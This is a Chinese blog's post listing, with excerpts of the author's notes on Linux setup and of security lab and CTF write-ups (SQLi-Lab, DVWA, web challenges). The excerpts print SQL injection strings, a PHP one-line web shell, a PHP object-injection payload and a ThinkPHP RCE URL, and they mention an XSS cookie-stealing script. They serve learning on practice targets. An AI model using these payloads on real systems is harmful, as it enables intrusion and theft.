自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(115)
  • 资源 (1)
  • 收藏
  • 关注

原创 seuwlan自动登录脚本构建

seu-wlan自动登录脚本

2022-11-18 14:41:56 477 1

原创 VSCode远程Linux断点调试C++

由于手上有一台强大的Linux工作站,尽管在Windows下使用Visul Studio写C++十分舒服,但是考虑到以后很多工作都是在Linux下完成,所以需要配置C++的远程调试环境。使用Remote SSH插件连接远程工作站,在项目目录下的.vscode里配置task.json和launch.json如下:task.json看起来很长,实际上在Linux下面只写label为g++ build active file的配置就可以,其他是为了方便兼容Windows的cl编译任务{ "task

2022-04-19 11:23:26 2304

原创 VSCode C++编译后删除obj等临时文件

虽然现在版本的vscode能够自动生成编译调试C++的task.json和launch.json,但是最近在使用VSCode写C++时发现会生成不少不需要的临时文件,比如*.obj、.ilk和.pdb,造成目录十分的混乱。在多方百度无果后自己摸索了一种方法,核心思想是在编译任务结束后执行一个自定义脚本来删除临时文件。task.json{ "tasks": [ { "type": "cppbuild", "label": "C/C++

2022-04-18 17:03:46 2028 4

原创 Arch Linux安装笔记(2)——KDE桌面环境安装

更新系统pcaman -Syugroupadd deskusersuseradd -m -g deskusers -d /home/uh3ng -s /bin/bash uh3ngpasswd uh3ngchmod +w /etc/sudoersvim /etc/sudoers# 在root ALL=(ALL) ALL下面一行添加:uh3ng ALL=(ALL) ALLchmod -w /etc/sudoerssu uh3ngsudo pacman -S plasma-meta kons

2021-07-05 20:01:41 513

原创 Arch Linux安装笔记(1)——校园网环境下基础安装

准备工作到Arch Linux官网下载系统镜像,得到iso文件后通过刻录工具写入U盘得到启动盘。U盘上的数据需要备份一下,刻录工具我选择的是Win32 DiskImager。进入Live系统插入U盘后开机,选择从USB启动,随后选择第一个Arch Linux install medium进入,将会出现命令行终端,权限为root。后续使用此终端辅助安装Arch到电脑硬盘。验证启动模式ls /sys/firmware/efi/efivars若存在则说明以UEFI启动,否则可能是BIOS模式,UEFI

2021-07-01 21:34:28 1014 1

原创 路由器登录校园网解决终端限制问题

在学校只能使用校园网访问网络,然而校园网有终端设备的数量限制,只能同时在线三个设备,一不注意就超过了限制导致登录不上。所以想着借助路由器来搭建一个小型的局域网解决这个问题。该方案可能只适用于Web页面认证的校园网。准备工作一个路由器,一根网线具有WDS功能的路由器直接连接校园网的WIFI应该也可以,没有实验过操作过程1.网线一端接校园网,另一端连接路由器的WAN口2.使用笔记本或其他终端连接路由器的局域网,有线无线均可3.在笔记本上登录路由器管理后台,确保路由器的WAN口成功获取到了IP地址

2021-07-01 21:29:16 16999 1

原创 SQLi-Lab练习笔记(18-20)

和上一篇文章一样,这里依然使用了BurpSuite工具修改HTTP报文8Lesson 18头部注入若输入的用户名和密码正确,则弹出User Agent的提示。后端对username和password都加了严格的过滤,但是发现有对数据库的插入操作和HTTP头部中的User Agent字段有关。又因为回显的信息不会经过数据库,所以只能考虑通过数据库报错带出数据库信息。exp:User-Agent: ’ or updatexml(1,concat(0x7e, database(),0x7e),1) o

2021-05-31 20:36:28 154 1

原创 Wireshark中TCP-TLS-HTTP2协议栈解析研究

解析原则当程序面对一堆字节流,解析会严格按照协议约定的字段进行识别,按照报文中给出的长度切分字节流。在OSI七层模型中,对于传输层以下的协议解析都比较简单,以链路层为以太网帧为例:读取前14字节的以太网帧首部,从第13和14字节获取网络层协议类型,如IPv4采用1.中获取的网络层协议格式,从第15字节开始按照IPv4的首部格式进行解析,根据协议字段获取到上层协议,如TCP,然后获取IPv4的首部长度并记录。跳过2.中获取的IPv4首部长度,按照TCP的首部格式解析剩下的字节流,获取数据偏移字段,

2021-05-31 19:26:07 1311 1

原创 SQLi-Lab练习笔记(11-17)

Lesson 11单引号字符串POST注入直接填写Payload不方便,而且还有可能被前端的输入过滤机制过滤掉,所以使用了Burp Suite代理截获请求包,如图所示:验证漏洞:uname=aaa’ or 1=1 #&passwd=bbb&submit=Submituname=aaa’ or 1=2 #&passwd=bbb&submit=Submitexp:uname=Dumb’ order by 3 #&passwd=bbb&submi

2021-05-26 21:28:17 131 2

原创 SQLi-Lab练习笔记(1-10)

Lesson 1字符串注入验证SQL注入:http://10.10.10.133:8080/Less-1/?id=1’ and ‘1’=‘1http://10.10.10.133:8080/Less-1/?id=1’ and ‘1’='2exp:获取数据库信息:http://10.10.10.133:8080/Less-1/?id=1’ order by 4 %23 //从order by 1到4,得到报错,说明select了三个字段http://10.10.10.133:808

2021-05-19 21:08:53 191

原创 C#调用C++编写的DLL整型和字符串传参

C#调用C++编写的DLL整型和字符串传参直接返回值目录C#调用C++编写的DLL整型和字符串传参直接返回值DLL返回字符串DLL返回整型参数传参DLL返回字符串C++ Code:extern "C" __declspec(dllexport) char* GetStr(){ string s = "This is a string"; return _strdup(s.c_str()); //一定要用_strdup()复制一段内存,不然等调用结束字符串内存会

2021-05-10 12:49:18 836

原创 dpkt解析pcapng格式包

在dpkt文档里没有找到解析pcapng格式的部分,以为dpkt不能解析pcapng格式的包。后面看到一份源码发现可以使用dpkt.pcapng.Reader()来读取pcapng格式。但是如果数据集中pcap格式的包和pcapng格式的包混合在一起就需要加一个判断,看到有这种写法的:pcapfile = open('xxx.pcapng', 'rb')try: pcaps = dpkt.pcap.Reader(pcapfile)except Exception as e: pcaps = dpk

2020-12-27 15:56:10 2257 1

原创 Ubuntu20.04Server双网卡问题

背景ubuntu是安装在virtual box虚拟机上的,由于校园网的问题,在使用桥接模式的情况下虚拟机是没有IP的,进而也连不上网。为了解决这一问题,我决定为虚拟机设置两个网卡,第一个网卡为NAT网络,用于访问Internet,第二个网卡为仅主机网络,用于和宿主机互通。在我设置了第二块用于和主机互通的网卡(仅主机模式)后发现在虚拟机里没有该网卡的信息,但是在同版本的桌面版ubuntu上并没有这个问题,在server版的ubuntu上就识别不到第二块网卡。解决ubuntu在18版本以后加入了netp

2020-11-21 11:55:09 3638 1

原创 攻防世界-Web-fakebook

0x01根据提示注册一个用户,blog的位置需要输入一段网址才能通过注册。注册成功以后可以查看用户信息。通过?no=1 and 1=1和?no=1 and 1=2可以验证存在SQL注入漏洞,接下来尝试注入。0x02使用?no=1 union/**/select 1,2,3,4可以判断该表中存在4个字段使用?no=1 and 0 union/**/select 1,2,3,4可以判断有回显的字段是第二个使用?no=1 and 0 union/**/select 1,database(),3,4可

2020-09-10 18:39:47 191

原创 攻防世界-Web-web2

0x01<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){ $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c

2020-08-25 17:58:36 214

原创 攻防世界-Web-upload1

0x01查看网页源代码,猜测应该是前端验证,只能上传图片文件。前端验证就很好办,把onchange=check()删掉就好了0x02准备一份一句话木马<?php eval($_POST['shell']);?>,保存为shell.php,然后上传shell.php,得到返回结果:然后可以使用菜刀连接,由于我没有装菜刀,于是在浏览器中访问给定的位置,然后通过Hackbar提交POST数据:shell=system("ls ../");这个位置是自己试出来的shell=highli

2020-08-25 17:45:01 194

原创 攻防世界-Web-NaNNaNNaNNaN-Batman

0x01打开附件看到的是HTML代码(一开始我错误地以为是JS),有一些夹杂的乱码,先试着放在浏览器里运行一下看有没有结果。将文件后缀改成html,然后从浏览器打开,页面中显示了一个输入框。0x02回头来分析一下源码,隐约可以看到有标签,还有一个_的JS变量,最后通过eval来运行了字符串里面的内容。虽然有些地方人看不懂,但不代表浏览器不能解析,所以试着通过浏览器来显示JS源码。把末尾的eval(_)改成console.log(_),然后再次从浏览器中打开这个页面,发现在控制台里显示了JS代码:

2020-08-25 17:31:21 115

原创 攻防世界-Web-Newscenter

0x01打开题目看到一个网页,里面只有一个搜索输入框是我们可以控制的,所以猜测可能是SQL注入。尝试123asdqwe' or 1=1#发现能够查询出所有新闻。继续尝试' union select 1,2,3#,验证select查询了三个字段:0x02已经可以判定是联合注入,接下来就简单了。查询当前数据库1' union select 1,2,database()#,得到数据库为news查询当前库中的表1' union select 1,table_name,3 from informa

2020-08-16 18:24:30 202

原创 攻防世界-Web-warmup

0x01最开始映入眼帘的是一张图,查看网页源代码发现了提示:进而访问source.php,显示了后端源代码: <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]

2020-08-16 13:12:53 123

原创 攻防世界-Web-supersqli

本题涉及到了堆叠注入、MySQL预编译0x01SQL注入的题目,按照流程来验证SQL注入漏洞。首先输入1' and '1'='1发现正常输出,然后输入1' and '1'='2发现没有输出,进一步尝试联合注入,输入1' union select 1 #结果返回了return preg_match("/select|update|delete|drop|insert|where|./i",$inject);可见后端过滤掉了一些SQL关键字,显然不能直接通过这些关键字进行注入。0x02尝试使用

2020-08-14 22:10:12 315

原创 攻防世界-Web-Web_php_unserialize

0x01打开题目看到PHP源码如下:<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } functi

2020-08-11 12:18:48 143

原创 Ubuntu安装配置FTP服务器

目录安装vsftpd配置vsftpd遇到的问题新建的系统用户登录失败使用cmd的ftp命令无法执行ls安装vsftpdapt updateapt install vsftpd配置vsftpd# 在/etc/vsftpd.conf中修改遇到的问题新建的系统用户登录失败我是通过useradd -d /home/ftpUser -s /bin/false ftpUser新建用户的,为了限制该用户的登录特意加了-s选项指定其无法登录,但是直接拿这个用户来登录FTP似乎登录不成功,借鉴别人的方法

2020-08-11 11:15:35 426 1

原创 攻防世界-Web-php_rce

0x01打开题目,很明显是ThinkPHP5框架,这里就联想到ThinkPHP5的著名漏洞,再加上题目中的RCE(远程代码执行)解题思路基本就有了。关于ThinkPHP5的这个漏洞,可以参考:ThinkPHP5 RCE漏洞重现及分析 0x02使用payload验证一下漏洞:/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=

2020-08-05 22:03:52 588

原创 攻防世界-Web-Web_php_include

0x01打开题目,代码如下:<?phpshow_source(__FILE__);echo $_GET['hello'];$page=$_GET['page'];while (strstr($page, "php://")) { $page=str_replace("php://", "", $page);}include($page);?>构造payload简单验证一下是不是文件包含:?hello=xxx&page=/etc/passwd结果如下:

2020-08-05 21:49:24 315

原创 攻防世界-web-unserialize3

0x01打开链接能看到一段PHP代码:根据题目给出的反序列提示,推测应该是利用了PHP的反序列漏洞,主要目的还是要绕过__wakeup()的执行,于是尝试CVE-2016-7124漏洞,即:如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。0x02构造payload如下:(xctf:后面的2也可以换成任何大于1的数)?code=O:4:"xctf":2{s:4:"flag";s:3:"111";}...

2020-07-31 22:43:49 109

原创 攻防世界-Web-PHP2

0x01打开后如图所示,题目中也没有任何提示,在消息头和HTML代码中也没可以入手的地方,而且它提示我们“能不能访问这个站点”,于是就试图在URL里输入其他文件名访问,试过index.php发现结果相同,继续尝试index.phps.**注:我实在是没有找到其他页面了,看来WriteUp才知道原来.phps文件是给用户看PHP源码的文件后缀名,第一次接触到0x02访问index.phps文件,在浏览器渲染后内容如下:可见只有部分源码,这时使用view-source来查看可以看到完整一些的源码

2020-07-29 22:59:05 193

原创 DVWA1.10-XSS

反射型low在输入框里填入的内容会通过GET请求的方式发往后端,同时后端会根据输入的内容拼接一个页面,把输入的内容显示给用户。在输入框里输入<script>alert('xss');</script>点击提交会发现弹出弹窗。验证了漏洞存在。不过xss可不是用来给访问者弹窗的,接下来继续利用该漏洞窃取访问者的cookie。首先编写一段xss脚本放在攻击者服务器上,其作用是读取当前的cookie和host信息,并提交到攻击者的服务器上。//文件名为xss_cookie.jsv

2020-07-26 13:41:58 197

原创 DVWA1.10-SQL盲注

low输入正常的id会返回User ID exists in the database.,对于不存在的id会返回User ID is MISSING from the database.提交1' and '1'='1会发现返回存在,提交1' and '1'='2会返回不存在,说明可以进行盲注。获取当前数据库名首先需要明确数据库名的长度依次构造1' and length(database())<8 and '1'='1 返回exists1' and length(database())&

2020-07-21 17:15:47 262

原创 DVWA1.10-BruteForce

lowURL:http://localhost/DVWA/vulnerabilities/brute/?username=admin&password=password&Login=Login直接构造GET请求来进行暴力破解,这里使用Python编写脚本,使用弱密码字典进行暴力破解:import requestsimport reurl1 = "http://localhost/DVWA/vulnerabilities/brute/?username=admin&pass

2020-07-20 17:35:35 167

原创 DVWA1.10-SQL注入

low字符型注入select first_name,last_name from users where user_id='1'与select user_id from users where user_id='1asdfasdf'查询结果一致。猜测原因应该是由于表中的user_id字段类型为int,所以在与字符串类型比较时会进行转换,与PHP类似,在转换过程中碰到非数字字符时转换终止,这就导致了上面的查询中where后面的效果相同。获取MySQL数据库信息如果注入类型为字符型,需要解决末尾的’闭

2020-07-16 22:09:12 372

原创 MySQL8用户管理

创建用户mysql> CREATE USER 'user1'@'localhost' IDENTIFIED BY '123456';IDENTIFIED BY 后面是密码,直接写就可,不需再加password()函数。授权使用刚刚创建的用户登录,然后执行show databases会发现只有一个名为information_schema的数据库。因为该用户没有其他数据库的权限。此时尝试去创建数据库也不会成功。mysql> CREATE DATABASE USER1DB;ERROR 10

2020-07-13 11:15:36 192

原创 Linux命令useradd

useradd [-c <备注>][-d <登入目录>][-e <有效期限>][-f <缓冲天数>][-g <群组>][-G <群组>][-s <shell>][-u <uid>][用户帐号][-m][-M][-r]参数解释:-m 自动创建用户登录目录,若不加该参数不会自动创建-d指定的登录目录-M 不创建用户登录目录-r 建立系统用户创建用户newUser1,指定登入目录,创建登入目录usera

2020-07-13 10:03:40 231

原创 Linux文件解压

解压tartar -xvf filename.tar解压文件,并且输出命令的执行过程,将解压后的文件保存在当前目录解压tar.gztar -gxvf filename.tar.gz解压文件,并且输出命令的执行过程,将解压后的文件保存在当前目录解压zipunzip filename...

2020-07-12 22:30:58 106

原创 Linux命令netstat

查看网络地址使用netstat也可以查看网络地址netstat -i #显示网络接口卡netstat -e #显示一些详细信息netstat -ie #显示网卡的详细信息显示路由表$ netstat -rKernel IP routing tableDestination Gateway Genmask Flags MSS Window irtt Ifacedefault _gateway 0.0.0.0

2020-07-12 22:17:42 171

原创 Linux命令ps

ps显示进程uh3ng@kali:~$ ps PID TTY TIME CMD 1630 pts/1 00:00:00 bash 1639 pts/1 00:00:00 ps只输入ps命令不带任何参数会列出当前终端执行的命令进程,TTY表示控制终端,若显示为?则表示没有控制终端;TIME表示占用的CPU时间;CMD表示执行的命令uh3ng@kali:~$ ps x PID TTY STAT TIME COMMAND 10

2020-07-12 21:49:58 192

原创 Linux软件安装位置及相关命令

Linux软件安装位置通过apt-get安装下载下来的deb包会存放在/var/cache/apt/archives使用dpkg -L vim课查看vim安装后散布到的各种目录一般位置执行文件在/usr/bin/usr/lib 包含各应用软件的函bai式库、目标档案,以及不被du一般使用者惯用的执行档案或脚本,某些软件会提供一些特殊的指令来进行服务器的设定,这些指令也不会经常被系统管理员操作,也在这里。/usr/share 共享文件/usr/share/man 帮助手册/usr/sha

2020-07-01 22:13:30 395

原创 Debian10中文环境配置

在安装系统的时候会有一个语言区域选项,不管当时选的什么,在这里都可以更改。同时解决中文乱码问题。以下操作最好在root用户下进行,root用户操作起来方便一些,不会被权限困扰。换源最好在做所有工作之前把软件源换一下。在我换源之前,使用apt-get安装vim都提示我找不到软件包。换源之后才能继续安装下面使用到的软件。修改/etc/apt/source_list文件如下:deb http://mirrors.aliyun.com/debian/ buster main contrib non-fre

2020-07-01 22:11:41 5630

原创 Ubuntu学习笔记——IP配置

这里的IP配置方法适用于Ubuntu18之前的版本,即修改/etc/network/interfaces配置文件。手动配置若要手动指定IP,需要对eth0网卡做如下配置:auto eth0 #使用auto设置eth0在系统启动时自启iface eth0 inet static #设置eth0为手动(静态)配置,而不是采用dhcpaddress 192.168.x.x #设置IPv4地址netmask 255.255.255.0 #设置子网掩码gateway 192.168.1.1 #设置网关

2020-06-26 22:05:16 183

原创 Ubuntu学习笔记——配置SSH

配置SSH以配置SSH服务为例,展示Ubuntu系统中服务配置的一般过程。安装SSH服务如果没有安装,首先需要安装SSH,安装方法如下:sudo apt-get install openssh-serversudo apt-get install openssh-client配置SSH在初次安装服务时,需要根据自己的需要来做相关配置,一般来说,Linux的配置文件同意放在/etc目录下。修改/etc/ssh/ssh_config文件,修改以下字段:其目的是强制使用口令登录SSH,第二是

2020-06-26 21:31:00 270

原创 Kali2020.2安装时选择并安装软件出错

安装环境我使用的是Virtual Box虚拟机软件,下载的kali为2020.2版本。为了保险我在安装时分配了2GB内存和30GB的硬盘空间,开始时试了多次总是会在选择并安装软件的时候出错,而且我的情况是下载完软件包开始配置安装的时候报错,所以大概率排除是网络的原因。尝试过在shell里换源的操作,依然是报错在原来那一步。尝试过切换成英文语言使用非图形界面安装。尝试过多点几次重试安装方法若以上方法都试过的朋友可以使用尝试下我的方法,该方法是参考Kali论坛上的解决方法:首先确定网络是畅通

2020-06-24 22:07:55 8041 1

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除